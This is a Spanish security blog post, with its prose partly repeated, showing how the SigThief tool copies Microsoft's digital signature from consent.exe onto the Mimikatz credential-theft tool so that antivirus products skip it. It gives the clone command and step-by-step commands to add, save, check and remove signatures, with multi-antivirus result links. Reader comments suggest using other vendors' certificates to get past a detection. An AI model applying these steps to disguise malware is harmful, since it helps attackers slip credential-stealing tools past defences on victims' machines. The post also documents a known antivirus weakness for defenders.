Desde las Altas Tierras nos llegaba un telegrama curioso con un tweet de subTee en el que decía estampar la firma digital de Microsoft en el ejecutable de Mimikatz. ¿Y para qué? Pues aunque parezca mentira me pongo colorada todavía hoy en día muchos antivirus se pasan por el forro de la indetección aquellos ejecutables (PE) que estén firmados digitalmente por, digamos, autoridades de certificación de renombre como M$ (tito Gates approved), y lo más importante, independientemente si la firma es válida o no, es decir, sólo comprueban que la certTable tiene algún valor.
La herramienta que "traslada" la firma digital de un ejecutable a otro es SigThief de Josh Pitts aka secretsquirrel:
Su sintaxis es muy sencilla:
Para ver un poco su uso, copiaremos la firma del ejecutable de Güindous 'consent.exe' al ejecutable 'mimikatz.exe'.
Primero echamos un vistazo al binario original:
Luego usamos SigThief para copiar su firma al ejecutable de Mimikatz:
Y comprobamos:
Después y lo más importante, si pasáis el ejecutable "malicioso" por un multiantivirus antes y después de la firma os quedaréis boquiabiertos con el resultado:
Ejecutable original: https://nodistribute.com/result/rZxMKwIuE4hRPyUjSq6
Ejecutable con la firma de Microsoft: https://nodistribute.com/result/5DCGFxqwMtdjezKyP73I
Como habéis podido comprobar, grandes antivirus como Comodo, BitDefender, McAfee, Norton, Panda, etc. consideran el ejecutable limpio sólo por llevar la firma... ¡increíble!
Por último otras cosillas que también podemos hacer con la herramienta:
Podemos salvar la firma para usarla más tarde con otros ejecutables:
Comprobar si el ejecutable tiene ya una firma:
E incluso borrarla (muy interesante para ver si el AV utiliza la firma);
Proyecto: https://github.com/secretsquirrel/SigThief
La herramienta que "traslada" la firma digital de un ejecutable a otro es SigThief de Josh Pitts aka secretsquirrel:
$ git clone https://github.com/secretsquirrel/SigThief.git
Su sintaxis es muy sencilla:
Usage: sigthief.py [options]
Options:
-h, --help show this help message and exit
-i FILE, --file=FILE file still signature from
-r, --rip rip signature off inputfile
-a, --add add signautre to targetfile
-o OUTPUTFILE, --output=OUTPUTFILE
output file
-s SIGFILE, --sig=SIGFILE
binary signature from disk
-t TARGETFILE, --target=TARGETFILE
file to append signature too
-c, --checksig file to check if signed; does not verify signature
-T, --truncate truncate signature (i.e. remove sig)
Para ver un poco su uso, copiaremos la firma del ejecutable de Güindous 'consent.exe' al ejecutable 'mimikatz.exe'.
Primero echamos un vistazo al binario original:
Luego usamos SigThief para copiar su firma al ejecutable de Mimikatz:
$ cd SigThief
$ python sigthief.py -i ./pruebas/consent.exe -t ./pruebas/mimikatz.exe -o /tmp/mimikatz_firmado.exe
Output file: /tmp/mimikatz_firmado.exe
Signature appended.
FIN.
Y comprobamos:
Después y lo más importante, si pasáis el ejecutable "malicioso" por un multiantivirus antes y después de la firma os quedaréis boquiabiertos con el resultado:
Ejecutable original: https://nodistribute.com/result/rZxMKwIuE4hRPyUjSq6
Ejecutable con la firma de Microsoft: https://nodistribute.com/result/5DCGFxqwMtdjezKyP73I
Como habéis podido comprobar, grandes antivirus como Comodo, BitDefender, McAfee, Norton, Panda, etc. consideran el ejecutable limpio sólo por llevar la firma... ¡increíble!
Por último otras cosillas que también podemos hacer con la herramienta:
Podemos salvar la firma para usarla más tarde con otros ejecutables:
$ python sigthief.py -i ./pruebas/consent.exe -r
Ripping signature to file!
Output file: ./pruebas/consent.exe_sig
Signature ripped.
FIN.
$ python sigthief.py -s ./pruebas/consent.exe_sig -t ./pruebas/mimikatz.exe
Output file: ./pruebas/mimikatz.exe_signed
Signature appended.
FIN.
Comprobar si el ejecutable tiene ya una firma:
$ python sigthief.py -i ./pruebas/mimikatz.exe_signed -c
Inputfile is signed!
E incluso borrarla (muy interesante para ver si el AV utiliza la firma);
$ ./sigthief.py -i ./pruebas/mimikatz.exe_signed -T
Inputfile is signed!
Output file: ./pruebas/mimikatz.exe_signed_nosig
Overwriting certificate table pointer and truncating binary
Signature removed.
FIN.
Proyecto: https://github.com/secretsquirrel/SigThief
¡En poco más de 250 líneas de código! Estaría bien portarlo a Ruby para hacer un módulo de firma para metasploit.
ResponderEliminarTiempo al tiempo... xD
EliminarLo acabo de probar con mcafee y lo detecta :-(
ResponderEliminarSi?? Mimikatz?? Imagino que será entonces por Artemis o la heurística... ¿Lo subiste también a un multiav?
EliminarSi es Artemis va a través de un sucio checksum (A mi entender, puede que me equivoque), así que con cambiar de certificado por uno de NVidia, Oracle o similares ya debería colar. ¿No?
EliminarDiferente firma = Diferente checksum